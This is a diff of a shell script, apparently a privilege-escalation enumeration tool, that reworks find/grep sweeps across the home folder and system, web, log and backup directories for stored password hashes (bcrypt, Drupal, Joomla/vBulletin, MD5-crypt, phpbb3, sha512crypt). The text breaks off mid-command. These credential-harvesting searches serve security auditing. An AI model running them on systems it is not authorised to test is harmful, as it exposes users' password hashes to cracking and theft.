-${E} "s~\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*~${SED_RED}~" & +print_3title_no_nl "Searching Blowfish (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Drupal (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$S\$[a-zA-Z0-9_/\.]{52}~${SED_RED}~" & +print_3title_no_nl "Searching Drupal (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Joomlavbulletin (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}~${SED_RED}~" & +print_3title_no_nl "Searching Joomlavbulletin (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Linux MD5 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}~${SED_RED}~" & +print_3title_no_nl "Searching Linux MD5 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching phpbb3 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$H\$[a-zA-Z0-9_/\.]{31}~${SED_RED}~" & +print_3title_no_nl "Searching phpbb3 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$H\$[a-zA-Z0-9_/\.]{31}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching sha512crypt (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} 